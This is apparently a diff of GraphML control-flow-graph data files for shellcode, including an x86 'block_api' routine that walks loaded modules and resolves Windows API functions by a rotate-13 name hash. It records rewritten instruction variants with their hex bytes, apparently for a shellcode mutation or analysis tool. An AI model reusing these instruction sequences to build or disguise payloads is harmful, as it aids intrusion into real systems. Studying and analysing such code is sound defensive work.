+        <edge source="block.0x1078:instruction.0x107b" target="block.0x1078:instruction.0x1083"/>
+        <edge source="block.0x1078:instruction.0x107c" target="block.0x1078:instruction.0x1080"/>
+        <edge source="block.0x1078:instruction.0x107c" target="block.0x1078:instruction.0x1085"/>
+        <edge source="block.0x1078:instruction.0x1080" target="block.0x1078:instruction.0x1083"/>
+        <edge source="block.0x1078:instruction.0x1083" target="block.0x1078:instruction.0x1085"/>
       </graph>
     </node>
-    <node id="block.0x1082">
-      <data key="address">0x1082</data>
+    <node id="block.0x1087">
+      <data key="address">0x1087</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1082</data>
+        <data key="address">0x1087</data>
         <data key="type">block</data>
-        <node id="block.0x1082:instruction.0x1082">
-          <data key="address">0x1082</data>
-          <data key="type">instruction</data>
-          <data key="instruction.hex">4c034c2408</data>
-          <data key="instruction.source">add r9, qword ptr [rsp + 8]</data>
-        </node>
-        <node id="block.0x1082:instruction.0x1087">
+        <node id="block.0x1087:instruction.0x1087">
           <data key="address">0x1087</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">4539d1</data>
           <data key="instruction.source">cmp r9d, r10d</data>
         </node>
-        <node id="block.0x1082:instruction.0x108a">
+        <node id="block.0x1087:instruction.0x108a">
           <data key="address">0x108a</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">75d8</data>
-          <data key="instruction.source">jne 0x1064</data>
+          <data key="instruction.hex">75db</data>
+          <data key="instruction.source">jne 0x1067</data>
         </node>
-        <edge source="block.0x1082:instruction.0x1082" target="block.0x1082:instruction.0x1087"/>
-        <edge source="block.0x1082:instruction.0x1087" target="block.0x1082:instruction.0x108a"/>
+        <edge source="block.0x1087:instruction.0x1087" target="block.0x1087:instruction.0x108a"/>
       </graph>
     </node>
     <node id="block.0x108c">
@@ -640,17 +633,17 @@
       </graph>
     </node>
     <edge source="block.0x1000" target="block.0x1017"/>
-    <edge source="block.0x1017" target="block.0x1023"/>
-    <edge source="block.0x1023" target="block.0x102b"/>
-    <edge source="block.0x102b" target="block.0x102d"/>
-    <edge source="block.0x102d" target="block.0x1036"/>
-    <edge source="block.0x1036" target="block.0x104b"/>
-    <edge source="block.0x104b" target="block.0x1056"/>
-    <edge source="block.0x1056" target="block.0x1064"/>
-    <edge source="block.0x1064" target="block.0x1066"/>
-    <edge source="block.0x1066" target="block.0x1073"/>
-    <edge source="block.0x1073" target="block.0x1082"/>
-    <edge source="block.0x1082" target="block.0x108c"/>
+    <edge source="block.0x1017" target="block.0x1026"/>
+    <edge source="block.0x1026" target="block.0x102e"/>
+    <edge source="block.0x102e" target="block.0x1030"/>
+    <edge source="block.0x1030" target="block.0x1039"/>
+    <edge source="block.0x1039" target="block.0x104e"/>
+    <edge source="block.0x104e" target="block.0x1059"/>
+    <edge source="block.0x1059" target="block.0x1067"/>
+    <edge source="block.0x1067" target="block.0x1069"/>
+    <edge source="block.0x1069" target="block.0x1078"/>
+    <edge source="block.0x1078" target="block.0x1087"/>
+    <edge source="block.0x1087" target="block.0x108c"/>
     <edge source="block.0x108c" target="block.0x10bc"/>
     <edge source="block.0x10bc" target="block.0x10bd"/>
   </graph>

data/shellcode/block_api.x86.graphml

@@ -69,492 +69,471 @@
         <node id="block.0x100f:instruction.0x1012">
           <data key="address">0x1012</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">0fb74a26</data>
-          <data key="instruction.source">movzx ecx, word ptr [edx + 0x26]</data>
+          <data key="instruction.hex">0fb74a24</data>
+          <data key="instruction.source">movzx ecx, word ptr [edx + 0x24]</data>
         </node>
         <node id="block.0x100f:instruction.0x1016">
           <data key="address">0x1016</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">31ff</data>
-          <data key="instruction.source">xor edi, edi</data>
+          <data key="instruction.hex">bf00000000</data>
+          <data key="instruction.source">mov edi, 0</data>
         </node>
       </graph>
     </node>
-    <node id="block.0x1018">
-      <data key="address">0x1018</data>
+    <node id="block.0x101b">
+      <data key="address">0x101b</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1018</data>
+        <data key="address">0x101b</data>
         <data key="type">block</data>
-        <node id="block.0x1018:instruction.0x1018">
-          <data key="address">0x1018</data>
+        <node id="block.0x101b:instruction.0x101b">
+          <data key="address">0x101b</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">31c0</data>
           <data key="instruction.source">xor eax, eax</data>
         </node>
-        <node id="block.0x1018:instruction.0x101a">
-          <data key="address">0x101a</data>
+        <node id="block.0x101b:instruction.0x101d">
+          <data key="address">0x101d</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">ac</data>
           <data key="instruction.source">lodsb al, byte ptr [esi]</data>
         </node>
-        <node id="block.0x1018:instruction.0x101b">
-          <data key="address">0x101b</data>
+        <node id="block.0x101b:instruction.0x101e">
+          <data key="address">0x101e</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">3c61</data>
           <data key="instruction.source">cmp al, 0x61</data>
         </node>
-        <node id="block.0x1018:instruction.0x101d">
-          <data key="address">0x101d</data>
+        <node id="block.0x101b:instruction.0x1020">
+          <data key="address">0x1020</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">7c02</data>
-          <data key="instruction.source">jl 0x1021</data>
+          <data key="instruction.source">jl 0x1024</data>
         </node>
-        <edge source="block.0x1018:instruction.0x1018" target="block.0x1018:instruction.0x101a"/>
-        <edge source="block.0x1018:instruction.0x101a" target="block.0x1018:instruction.0x101b"/>
-        <edge source="block.0x1018:instruction.0x101b" target="block.0x1018:instruction.0x101d"/>
+        <edge source="block.0x101b:instruction.0x101b" target="block.0x101b:instruction.0x101d"/>
+        <edge source="block.0x101b:instruction.0x101d" target="block.0x101b:instruction.0x101e"/>
+        <edge source="block.0x101b:instruction.0x101e" target="block.0x101b:instruction.0x1020"/>
       </graph>
     </node>
-    <node id="block.0x101f">
-      <data key="address">0x101f</data>
+    <node id="block.0x1022">
+      <data key="address">0x1022</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x101f</data>
+        <data key="address">0x1022</data>
         <data key="type">block</data>
-        <node id="block.0x101f:instruction.0x101f">
-          <data key="address">0x101f</data>
+        <node id="block.0x1022:instruction.0x1022">
+          <data key="address">0x1022</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">2c20</data>
           <data key="instruction.source">sub al, 0x20</data>
         </node>
       </graph>
     </node>
-    <node id="block.0x1021">
-      <data key="address">0x1021</data>
+    <node id="block.0x1024">
+      <data key="address">0x1024</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1021</data>
+        <data key="address">0x1024</data>
         <data key="type">block</data>
-        <node id="block.0x1021:instruction.0x1021">
-          <data key="address">0x1021</data>
+        <node id="block.0x1024:instruction.0x1024">
+          <data key="address">0x1024</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">c1cf0d</data>
           <data key="instruction.source">ror edi, 0xd</data>
         </node>
-        <node id="block.0x1021:instruction.0x1024">
-          <data key="address">0x1024</data>
+        <node id="block.0x1024:instruction.0x1027">
+          <data key="address">0x1027</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">01c7</data>
           <data key="instruction.source">add edi, eax</data>
         </node>
-        <node id="block.0x1021:instruction.0x1026">
-          <data key="address">0x1026</data>
+        <node id="block.0x1024:instruction.0x1029">
+          <data key="address">0x1029</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">49</data>
           <data key="instruction.source">dec ecx</data>
         </node>
-        <node id="block.0x1021:instruction.0x1027">
-          <data key="address">0x1027</data>
+        <node id="block.0x1024:instruction.0x102a">
+          <data key="address">0x102a</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">75ef</data>
-          <data key="instruction.source">jne 0x1018</data>
+          <data key="instruction.source">jne 0x101b</data>
         </node>
-        <edge source="block.0x1021:instruction.0x1021" target="block.0x1021:instruction.0x1024"/>
-        <edge source="block.0x1021:instruction.0x1024" target="block.0x1021:instruction.0x1026"/>
-        <edge source="block.0x1021:instruction.0x1026" target="block.0x1021:instruction.0x1027"/>
+        <edge source="block.0x1024:instruction.0x1024" target="block.0x1024:instruction.0x1027"/>
+        <edge source="block.0x1024:instruction.0x1027" target="block.0x1024:instruction.0x1029"/>
+        <edge source="block.0x1024:instruction.0x1029" target="block.0x1024:instruction.0x102a"/>
       </graph>
     </node>
-    <node id="block.0x1029">
-      <data key="address">0x1029</data>
+    <node id="block.0x102c">
+      <data key="address">0x102c</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1029</data>
+        <data key="address">0x102c</data>
         <data key="type">block</data>
-        <node id="block.0x1029:instruction.0x1029">
-          <data key="address">0x1029</data>
+        <node id="block.0x102c:instruction.0x102c">
+          <data key="address">0x102c</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">52</data>
           <data key="instruction.source">push edx</data>
         </node>
-        <node id="block.0x1029:instruction.0x102a">
-          <data key="address">0x102a</data>
+        <node id="block.0x102c:instruction.0x102d">
+          <data key="address">0x102d</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">57</data>
           <data key="instruction.source">push edi</data>
         </node>
-        <node id="block.0x1029:instruction.0x102b">
-          <data key="address">0x102b</data>
+        <node id="block.0x102c:instruction.0x102e">
+          <data key="address">0x102e</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b5210</data>
           <data key="instruction.source">mov edx, dword ptr [edx + 0x10]</data>
         </node>
-        <node id="block.0x1029:instruction.0x102e">
-          <data key="address">0x102e</data>
+        <node id="block.0x102c:instruction.0x1031">
+          <data key="address">0x1031</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b423c</data>
           <data key="instruction.source">mov eax, dword ptr [edx + 0x3c]</data>
         </node>
-        <node id="block.0x1029:instruction.0x1031">
-          <data key="address">0x1031</data>
+        <node id="block.0x102c:instruction.0x1034">
+          <data key="address">0x1034</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">01d0</data>
           <data key="instruction.source">add eax, edx</data>
         </node>
-        <node id="block.0x1029:instruction.0x1033">
-          <data key="address">0x1033</data>
+        <node id="block.0x102c:instruction.0x1036">
+          <data key="address">0x1036</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b4078</data>
           <data key="instruction.source">mov eax, dword ptr [eax + 0x78]</data>
         </node>
-        <node id="block.0x1029:instruction.0x1036">
-          <data key="address">0x1036</data>
+        <node id="block.0x102c:instruction.0x1039">
+          <data key="address">0x1039</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">85c0</data>
           <data key="instruction.source">test eax, eax</data>
         </node>
-        <node id="block.0x1029:instruction.0x1038">
-          <data key="address">0x1038</data>
+        <node id="block.0x102c:instruction.0x103b">
+          <data key="address">0x103b</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">744c</data>
-          <data key="instruction.source">je 0x1086</data>
+          <data key="instruction.hex">744a</data>
+          <data key="instruction.source">je 0x1087</data>
         </node>
-        <edge source="block.0x1029:instruction.0x1029" target="block.0x1029:instruction.0x102a"/>
-        <edge source="block.0x1029:instruction.0x1029" target="block.0x1029:instruction.0x102b"/>
-        <edge source="block.0x1029:instruction.0x102a" target="block.0x1029:instruction.0x1038"/>
-        <edge source="block.0x1029:instruction.0x102b" target="block.0x1029:instruction.0x102e"/>
-        <edge source="block.0x1029:instruction.0x102b" target="block.0x1029:instruction.0x1031"/>
-        <edge source="block.0x1029:instruction.0x102e" target="block.0x1029:instruction.0x1031"/>
-        <edge source="block.0x1029:instruction.0x1031" target="block.0x1029:instruction.0x1033"/>
-        <edge source="block.0x1029:instruction.0x1033" target="block.0x1029:instruction.0x1036"/>
-        <edge source="block.0x1029:instruction.0x1036" target="block.0x1029:instruction.0x1038"/>
+        <edge source="block.0x102c:instruction.0x102c" target="block.0x102c:instruction.0x102d"/>
+        <edge source="block.0x102c:instruction.0x102c" target="block.0x102c:instruction.0x102e"/>
+        <edge source="block.0x102c:instruction.0x102d" target="block.0x102c:instruction.0x103b"/>
+        <edge source="block.0x102c:instruction.0x102e" target="block.0x102c:instruction.0x1031"/>
+        <edge source="block.0x102c:instruction.0x102e" target="block.0x102c:instruction.0x1034"/>
+        <edge source="block.0x102c:instruction.0x1031" target="block.0x102c:instruction.0x1034"/>
+        <edge source="block.0x102c:instruction.0x1034" target="block.0x102c:instruction.0x1036"/>
+        <edge source="block.0x102c:instruction.0x1036" target="block.0x102c:instruction.0x1039"/>
+        <edge source="block.0x102c:instruction.0x1039" target="block.0x102c:instruction.0x103b"/>
       </graph>
     </node>
-    <node id="block.0x103a">
-      <data key="address">0x103a</data>
+    <node id="block.0x103d">
+      <data key="address">0x103d</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x103a</data>
+        <data key="address">0x103d</data>
         <data key="type">block</data>
-        <node id="block.0x103a:instruction.0x103a">
-          <data key="address">0x103a</data>
+        <node id="block.0x103d:instruction.0x103d">
+          <data key="address">0x103d</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">01d0</data>
           <data key="instruction.source">add eax, edx</data>
         </node>
-        <node id="block.0x103a:instruction.0x103c">
-          <data key="address">0x103c</data>
+        <node id="block.0x103d:instruction.0x103f">
+          <data key="address">0x103f</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">50</data>
           <data key="instruction.source">push eax</data>
         </node>
-        <node id="block.0x103a:instruction.0x103d">
-          <data key="address">0x103d</data>
+        <node id="block.0x103d:instruction.0x1040">
+          <data key="address">0x1040</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b4818</data>
           <data key="instruction.source">mov ecx, dword ptr [eax + 0x18]</data>
         </node>
-        <node id="block.0x103a:instruction.0x1040">
-          <data key="address">0x1040</data>
+        <node id="block.0x103d:instruction.0x1043">
+          <data key="address">0x1043</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b5820</data>
           <data key="instruction.source">mov ebx, dword ptr [eax + 0x20]</data>
         </node>
-        <node id="block.0x103a:instruction.0x1043">
-          <data key="address">0x1043</data>
+        <node id="block.0x103d:instruction.0x1046">
+          <data key="address">0x1046</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">01d3</data>
           <data key="instruction.source">add ebx, edx</data>
         </node>
-        <edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x103c"/>
-        <edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x103d"/>
-        <edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x1040"/>
-        <edge source="block.0x103a:instruction.0x1040" target="block.0x103a:instruction.0x1043"/>
+        <edge source="block.0x103d:instruction.0x103d" target="block.0x103d:instruction.0x103f"/>
+        <edge source="block.0x103d:instruction.0x103d" target="block.0x103d:instruction.0x1040"/>
+        <edge source="block.0x103d:instruction.0x103d" target="block.0x103d:instruction.0x1043"/>
+        <edge source="block.0x103d:instruction.0x1043" target="block.0x103d:instruction.0x1046"/>
       </graph>
     </node>
-    <node id="block.0x1045">
-      <data key="address">0x1045</data>
+    <node id="block.0x1048">
+      <data key="address">0x1048</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1045</data>
+        <data key="address">0x1048</data>
         <data key="type">block</data>
-        <node id="block.0x1045:instruction.0x1045">
-          <data key="address">0x1045</data>
+        <node id="block.0x1048:instruction.0x1048">
+          <data key="address">0x1048</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">85c9</data>
           <data key="instruction.source">test ecx, ecx</data>
         </node>
-        <node id="block.0x1045:instruction.0x1047">
-          <data key="address">0x1047</data>
+        <node id="block.0x1048:instruction.0x104a">
+          <data key="address">0x104a</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">743c</data>
-          <data key="instruction.source">je 0x1085</data>
+          <data key="instruction.hex">743a</data>
+          <data key="instruction.source">je 0x1086</data>
         </node>
-        <edge source="block.0x1045:instruction.0x1045" target="block.0x1045:instruction.0x1047"/>
+        <edge source="block.0x1048:instruction.0x1048" target="block.0x1048:instruction.0x104a"/>
       </graph>
     </node>
-    <node id="block.0x1049">
-      <data key="address">0x1049</data>
+    <node id="block.0x104c">
+      <data key="address">0x104c</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1049</data>
+        <data key="address">0x104c</data>
         <data key="type">block</data>
-        <node id="block.0x1049:instruction.0x1049">
-          <data key="address">0x1049</data>
+        <node id="block.0x104c:instruction.0x104c">
+          <data key="address">0x104c</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">49</data>
           <data key="instruction.source">dec ecx</data>
         </node>
-        <node id="block.0x1049:instruction.0x104a">
-          <data key="address">0x104a</data>
+        <node id="block.0x104c:instruction.0x104d">
+          <data key="address">0x104d</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b348b</data>
           <data key="instruction.source">mov esi, dword ptr [ebx + ecx*4]</data>
         </node>
-        <node id="block.0x1049:instruction.0x104d">
-          <data key="address">0x104d</data>
+        <node id="block.0x104c:instruction.0x1050">
+          <data key="address">0x1050</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">01d6</data>
           <data key="instruction.source">add esi, edx</data>
         </node>
-        <node id="block.0x1049:instruction.0x104f">
-          <data key="address">0x104f</data>
+        <node id="block.0x104c:instruction.0x1052">
+          <data key="address">0x1052</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">31ff</data>
-          <data key="instruction.source">xor edi, edi</data>
+          <data key="instruction.hex">8b7df8</data>
+          <data key="instruction.source">mov edi, dword ptr [ebp - 8]</data>
         </node>
-        <edge source="block.0x1049:instruction.0x1049" target="block.0x1049:instruction.0x104d"/>
-        <edge source="block.0x1049:instruction.0x1049" target="block.0x1049:instruction.0x104a"/>
-        <edge source="block.0x1049:instruction.0x104a" target="block.0x1049:instruction.0x104d"/>
+        <edge source="block.0x104c:instruction.0x104c" target="block.0x104c:instruction.0x1050"/>
+        <edge source="block.0x104c:instruction.0x104c" target="block.0x104c:instruction.0x104d"/>
+        <edge source="block.0x104c:instruction.0x104d" target="block.0x104c:instruction.0x1050"/>
       </graph>
     </node>
-    <node id="block.0x1051">
-      <data key="address">0x1051</data>
+    <node id="block.0x1055">
+      <data key="address">0x1055</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1051</data>
+        <data key="address">0x1055</data>
         <data key="type">block</data>
-        <node id="block.0x1051:instruction.0x1051">
-          <data key="address">0x1051</data>
+        <node id="block.0x1055:instruction.0x1055">
+          <data key="address">0x1055</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">31c0</data>
           <data key="instruction.source">xor eax, eax</data>
         </node>
-        <node id="block.0x1051:instruction.0x1053">
-          <data key="address">0x1053</data>
+        <node id="block.0x1055:instruction.0x1057">
+          <data key="address">0x1057</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">ac</data>
           <data key="instruction.source">lodsb al, byte ptr [esi]</data>
         </node>
-        <node id="block.0x1051:instruction.0x1054">
-          <data key="address">0x1054</data>
+        <node id="block.0x1055:instruction.0x1058">
+          <data key="address">0x1058</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">c1cf0d</data>
           <data key="instruction.source">ror edi, 0xd</data>
         </node>
-        <node id="block.0x1051:instruction.0x1057">
-          <data key="address">0x1057</data>
+        <node id="block.0x1055:instruction.0x105b">
+          <data key="address">0x105b</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">01c7</data>
           <data key="instruction.source">add edi, eax</data>
         </node>
-        <node id="block.0x1051:instruction.0x1059">
-          <data key="address">0x1059</data>
+        <node id="block.0x1055:instruction.0x105d">
+          <data key="address">0x105d</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">38e0</data>
           <data key="instruction.source">cmp al, ah</data>
         </node>
-        <node id="block.0x1051:instruction.0x105b">
-          <data key="address">0x105b</data>
+        <node id="block.0x1055:instruction.0x105f">
+          <data key="address">0x105f</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">75f4</data>
-          <data key="instruction.source">jne 0x1051</data>
+          <data key="instruction.source">jne 0x1055</data>
         </node>
-        <edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1053"/>
-        <edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1054"/>
-        <edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1059"/>
-        <edge source="block.0x1051:instruction.0x1053" target="block.0x1051:instruction.0x1057"/>
-        <edge source="block.0x1051:instruction.0x1053" target="block.0x1051:instruction.0x1059"/>
-        <edge source="block.0x1051:instruction.0x1054" target="block.0x1051:instruction.0x1057"/>
-        <edge source="block.0x1051:instruction.0x1057" target="block.0x1051:instruction.0x1059"/>
-        <edge source="block.0x1051:instruction.0x1059" target="block.0x1051:instruction.0x105b"/>
+        <edge source="block.0x1055:instruction.0x1055" target="block.0x1055:instruction.0x1057"/>
+        <edge source="block.0x1055:instruction.0x1055" target="block.0x1055:instruction.0x1058"/>
+        <edge source="block.0x1055:instruction.0x1055" target="block.0x1055:instruction.0x105d"/>
+        <edge source="block.0x1055:instruction.0x1057" target="block.0x1055:instruction.0x105b"/>
+        <edge source="block.0x1055:instruction.0x1057" target="block.0x1055:instruction.0x105d"/>
+        <edge source="block.0x1055:instruction.0x1058" target="block.0x1055:instruction.0x105b"/>
+        <edge source="block.0x1055:instruction.0x105b" target="block.0x1055:instruction.0x105d"/>
+        <edge source="block.0x1055:instruction.0x105d" target="block.0x1055:instruction.0x105f"/>
       </graph>
     </node>
-    <node id="block.0x105d">
-      <data key="address">0x105d</data>
+    <node id="block.0x1061">
+      <data key="address">0x1061</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x105d</data>
+        <data key="address">0x1061</data>
         <data key="type">block</data>
-        <node id="block.0x105d:instruction.0x105d">
-          <data key="address">0x105d</data>
-          <data key="type">instruction</data>
-          <data key="instruction.hex">037df8</data>
-          <data key="instruction.source">add edi, dword ptr [ebp - 8]</data>
-        </node>
-        <node id="block.0x105d:instruction.0x1060">
-          <data key="address">0x1060</data>
+        <node id="block.0x1061:instruction.0x1061">
+          <data key="address">0x1061</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">3b7d24</data>
           <data key="instruction.source">cmp edi, dword ptr [ebp + 0x24]</data>
         </node>
-        <node id="block.0x105d:instruction.0x1063">
-          <data key="address">0x1063</data>
+        <node id="block.0x1061:instruction.0x1064">
+          <data key="address">0x1064</data>
           <data key="type">instruction</data>
-          <data key="instruction.hex">75e0</data>
-          <data key="instruction.source">jne 0x1045</data>
+          <data key="instruction.hex">75e2</data>
+          <data key="instruction.source">jne 0x1048</data>
         </node>
-        <edge source="block.0x105d:instruction.0x105d" target="block.0x105d:instruction.0x1060"/>
-        <edge source="block.0x105d:instruction.0x1060" target="block.0x105d:instruction.0x1063"/>
+        <edge source="block.0x1061:instruction.0x1061" target="block.0x1061:instruction.0x1064"/>
       </graph>
     </node>
-    <node id="block.0x1065">
-      <data key="address">0x1065</data>
+    <node id="block.0x1066">
+      <data key="address">0x1066</data>
       <data key="type">block</data>
       <graph edgedefault="directed">
-        <data key="address">0x1065</data>
+        <data key="address">0x1066</data>
         <data key="type">block</data>
-        <node id="block.0x1065:instruction.0x1065">
-          <data key="address">0x1065</data>
+        <node id="block.0x1066:instruction.0x1066">
+          <data key="address">0x1066</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">58</data>
           <data key="instruction.source">pop eax</data>
         </node>
-        <node id="block.0x1065:instruction.0x1066">
-          <data key="address">0x1066</data>
+        <node id="block.0x1066:instruction.0x1067">
+          <data key="address">0x1067</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b5824</data>
           <data key="instruction.source">mov ebx, dword ptr [eax + 0x24]</data>
         </node>
-        <node id="block.0x1065:instruction.0x1069">
-          <data key="address">0x1069</data>
+        <node id="block.0x1066:instruction.0x106a">
+          <data key="address">0x106a</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">01d3</data>
           <data key="instruction.source">add ebx, edx</data>
         </node>
-        <node id="block.0x1065:instruction.0x106b">
-          <data key="address">0x106b</data>
+        <node id="block.0x1066:instruction.0x106c">
+          <data key="address">0x106c</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">668b0c4b</data>
           <data key="instruction.source">mov cx, word ptr [ebx + ecx*2]</data>
         </node>
-        <node id="block.0x1065:instruction.0x106f">
-          <data key="address">0x106f</data>
+        <node id="block.0x1066:instruction.0x1070">
+          <data key="address">0x1070</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b581c</data>
           <data key="instruction.source">mov ebx, dword ptr [eax + 0x1c]</data>
         </node>
-        <node id="block.0x1065:instruction.0x1072">
-          <data key="address">0x1072</data>
+        <node id="block.0x1066:instruction.0x1073">
+          <data key="address">0x1073</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">01d3</data>
           <data key="instruction.source">add ebx, edx</data>
         </node>
-        <node id="block.0x1065:instruction.0x1074">
-          <data key="address">0x1074</data>
+        <node id="block.0x1066:instruction.0x1075">
+          <data key="address">0x1075</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">8b048b</data>
           <data key="instruction.source">mov eax, dword ptr [ebx + ecx*4]</data>
         </node>
-        <node id="block.0x1065:instruction.0x1077">
-          <data key="address">0x1077</data>
+        <node id="block.0x1066:instruction.0x1078">
+          <data key="address">0x1078</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">01d0</data>
           <data key="instruction.source">add eax, edx</data>
         </node>
-        <node id="block.0x1065:instruction.0x1079">
-          <data key="address">0x1079</data>
+        <node id="block.0x1066:instruction.0x107a">
+          <data key="address">0x107a</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">89442424</data>
           <data key="instruction.source">mov dword ptr [esp + 0x24], eax</data>
         </node>
-        <node id="block.0x1065:instruction.0x107d">
-          <data key="address">0x107d</data>
-          <data key="type">instruction</data>
-          <data key="instruction.hex">5b</data>
-          <data key="instruction.source">pop ebx</data>
-        </node>
-        <node id="block.0x1065:instruction.0x107e">
+        <node id="block.0x1066:instruction.0x107e">
           <data key="address">0x107e</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">5b</data>
           <data key="instruction.source">pop ebx</data>
         </node>
-        <node id="block.0x1065:instruction.0x107f">
+        <node id="block.0x1066:instruction.0x107f">
           <data key="address">0x107f</data>
           <data key="type">instruction</data>
+          <data key="instruction.hex">5b</data>
+          <data key="instruction.source">pop ebx</data>
+        </node>
+        <node id="block.0x1066:instruction.0x1080">
+          <data key="address">0x1080</data>
+          <data key="type">instruction</data>
           <data key="instruction.hex">61</data>
           <data key="instruction.source">popal</data>
         </node>
-        <node id="block.0x1065:instruction.0x1080">
-          <data key="address">0x1080</data>
+        <node id="block.0x1066:instruction.0x1081">
+          <data key="address">0x1081</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">59</data>
           <data key="instruction.source">pop ecx</data>
         </node>
-        <node id="block.0x1065:instruction.0x1081">
-          <data key="address">0x1081</data>
+        <node id="block.0x1066:instruction.0x1082">
+          <data key="address">0x1082</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">5a</data>
           <data key="instruction.source">pop edx</data>
         </node>
-        <node id="block.0x1065:instruction.0x1082">
-          <data key="address">0x1082</data>
+        <node id="block.0x1066:instruction.0x1083">
+          <data key="address">0x1083</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">51</data>
           <data key="instruction.source">push ecx</data>
         </node>
-        <node id="block.0x1065:instruction.0x1083">
-          <data key="address">0x1083</data>
+        <node id="block.0x1066:instruction.0x1084">
+          <data key="address">0x1084</data>
           <data key="type">instruction</data>
           <data key="instruction.hex">ffe0</data>
           <data key="instruction.source">jmp eax</data>
         </node>
-        <edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x107d"/>
-        <edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x1066"/>
-        <edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x106f"/>
-        <edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x1079"/>
-        <edge source="block.0x1065:instruction.0x1066" target="block.0x1065:instruction.0x1074"/>
-        <edge source="block.0x1065:instruction.0x1066" target="block.0x1065:instruction.0x1069"/>
-        <edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x106f"/>
-        <edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x107f"/>
-        <edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x106b"/>
-        <edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x1074"/>
-        <edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x106f"/>
-        <edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x107f"/>
-        <edge source="block.0x1065:instruction.0x106f" target="block.0x1065:instruction.0x1074"/>
-        <edge source="block.0x1065:instruction.0x106f" target="block.0x1065:instruction.0x1072"/>
-        <edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x107d"/>
-        <edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x1074"/>
-        <edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x107f"/>
-        <edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x107d"/>
-        <edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x107f"/>
-        <edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x1077"/>
-        <edge source="block.0x1065:instruction.0x1077" target="block.0x1065:instruction.0x107f"/>
-        <edge source="block.0x1065:instruction.0x1077" target="block.0x1065:instruction.0x1079"/>
-        <edge source="block.0x1065:instruction.0x1079" target="block.0x1065:instruction.0x107d"/>
-        <edge source="block.0x1065:instruction.0x1079" target="block.0x1065:instruction.0x107f"/>
